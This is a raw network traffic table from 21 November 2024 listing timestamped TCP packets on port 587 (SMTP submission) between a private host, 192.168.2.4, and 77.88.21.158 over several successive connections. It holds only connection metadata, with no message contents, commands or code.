Nov 21, 2024 09:06:27.672765970 CET	49883	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:06:27.713571072 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.713668108 CET	49883	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:06:27.790169001 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.790277004 CET	49883	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:06:27.790379047 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.790447950 CET	49883	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:06:27.791822910 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.792123079 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.792232037 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.792382956 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.792587996 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.792711973 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.792963982 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.793041945 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.793133020 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.793226957 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.793318033 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.793415070 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.793462038 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.793698072 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.793737888 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.793859959 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.793870926 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.794056892 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.794066906 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.794142962 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.794167995 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.794245958 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.794262886 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.794310093 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.833235979 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.833317995 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.910015106 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.910033941 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.910056114 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.910064936 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.910141945 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:27.910185099 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:28.770318031 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:28.995778084 CET	49883	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:01.993772030 CET	49883	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:02.113267899 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:02.437799931 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:02.438019037 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:02.438066959 CET	49883	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:02.438306093 CET	49883	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:02.439399958 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:02.558770895 CET	587	49883	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:02.559849977 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:02.559990883 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:03.862814903 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:03.863075972 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:03.982609034 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:04.319263935 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:04.323275089 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:04.442688942 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:04.779500961 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:04.779936075 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:04.899494886 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:05.248465061 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:05.248507023 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:05.248518944 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:05.248617887 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:05.248682022 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:05.249083996 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:05.253376007 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:05.372904062 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:05.709875107 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:05.713763952 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:05.833724022 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:06.170243025 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:06.170485973 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:06.289969921 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:06.626769066 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:06.627085924 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:06.746568918 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:07.097914934 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:07.123410940 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:07.243134975 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:07.586249113 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:07.586528063 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:07.706139088 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.135250092 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.135653019 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.255242109 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.621375084 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.621819973 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.621953011 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.622004986 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.622127056 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.623487949 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.741616964 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.741631031 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.741641998 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.741651058 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.741684914 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.741734028 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.743033886 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.743043900 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.743077993 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.743096113 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.743112087 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.743132114 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.743133068 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.743218899 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.743227959 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.743237972 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.743288040 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.743323088 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.743344069 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.743355989 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.743475914 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.743475914 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.861419916 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.861443043 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.861490965 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.861548901 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.862782955 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.862803936 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.862814903 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.862838984 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.862860918 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.862886906 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.862921000 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.862921953 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.862996101 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.863008022 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.863066912 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.863104105 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.863157034 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.863292933 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.863332033 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.863351107 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.863380909 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.905473948 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.905556917 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.981486082 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.981498003 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.981564045 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.981614113 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:08.982305050 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.982496977 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.982531071 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.982595921 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.982666016 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.982702971 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.982779980 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.982882023 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.982980013 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983072042 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983079910 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983145952 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983155012 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983252048 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983263016 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983299971 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983330011 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983401060 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983409882 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983432055 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983468056 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983527899 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983580112 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:08.983658075 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:09.025371075 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:09.025383949 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:09.102411032 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:09.102422953 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:09.102535009 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:09.102545023 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:09.102554083 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:09.102557898 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:09.941639900 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:09.995873928 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:31.933060884 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:32.052854061 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:32.389693975 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:32.389759064 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:32.389811039 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:32.390480042 CET	49975	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:32.391918898 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:32.509990931 CET	587	49975	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:32.511550903 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:32.511616945 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:33.856005907 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:33.856590986 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:33.976300001 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:34.315640926 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:34.315838099 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:34.435400963 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:34.774255037 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:34.774688959 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:34.894273043 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:35.234972954 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:35.235047102 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:35.235060930 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:35.235177040 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:35.235286951 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:35.239006996 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:35.360222101 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:35.697597027 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:35.699871063 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:35.819538116 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:36.158410072 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:36.159284115 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:36.278846979 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:36.617754936 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:36.618071079 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:36.737677097 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:36.902576923 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:36.959834099 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:37.022505045 CET	587	50016	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:37.022566080 CET	50016	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:37.079744101 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:37.079839945 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:38.333723068 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:38.335237026 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:38.457119942 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:38.779526949 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:38.799910069 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:38.920890093 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:39.245603085 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:39.251013041 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:39.370870113 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:39.697539091 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:39.697577953 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:39.697588921 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:39.697601080 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:39.697722912 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:39.699934959 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:39.819581032 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:40.144639969 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:40.149209976 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:40.268831015 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:40.593317986 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:40.593677044 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:40.713424921 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:40.902661085 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:40.953481913 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:41.022897959 CET	587	50017	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:41.023052931 CET	50017	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:41.073232889 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:41.073331118 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:42.424019098 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:42.424226999 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:42.544121027 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:42.895284891 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:42.895562887 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:43.015142918 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:43.362051964 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:43.365736961 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:43.485176086 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:43.834146976 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:43.834189892 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:43.834203005 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:43.834214926 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:43.834311008 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:43.838274002 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:43.957781076 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:44.304929018 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:44.308114052 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:44.451996088 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:44.799175024 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:44.801734924 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:44.921246052 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:45.268218994 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:45.275002003 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:45.394773006 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:45.759507895 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:45.759788036 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:45.879455090 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:46.235785961 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:46.236016989 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:46.355592012 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:46.796897888 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:46.797092915 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:46.916724920 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.263662100 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.267368078 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.267368078 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.267471075 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.267471075 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.271034002 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.387048006 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.387070894 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.387085915 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.387094975 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.387367964 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.394293070 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.394304037 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.394347906 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.394357920 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.394449949 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.398848057 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.398869991 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.398920059 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.398929119 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.398958921 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.398966074 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.399020910 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.399058104 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.399245977 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.507118940 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.507133961 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.507287025 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.514101982 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.514206886 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.514213085 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.514242887 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.514306068 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.514421940 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.518465996 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.518565893 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.518575907 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.518665075 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.518767118 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.518847942 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.518882990 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.518946886 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.626902103 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.626972914 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.626979113 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.627074957 CET	50018	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:07:47.633843899 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.634079933 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.634120941 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.634130001 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.634258032 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.634344101 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.634407043 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.634418964 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.638191938 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.638242960 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.638518095 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.638528109 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.638597012 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.638607025 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.638714075 CET	587	50018	77.88.21.158	192.168.2.4
Nov 21, 2024 09:07:47.638721943 CET	587	50018	77.88.21.158	192.168.2.4
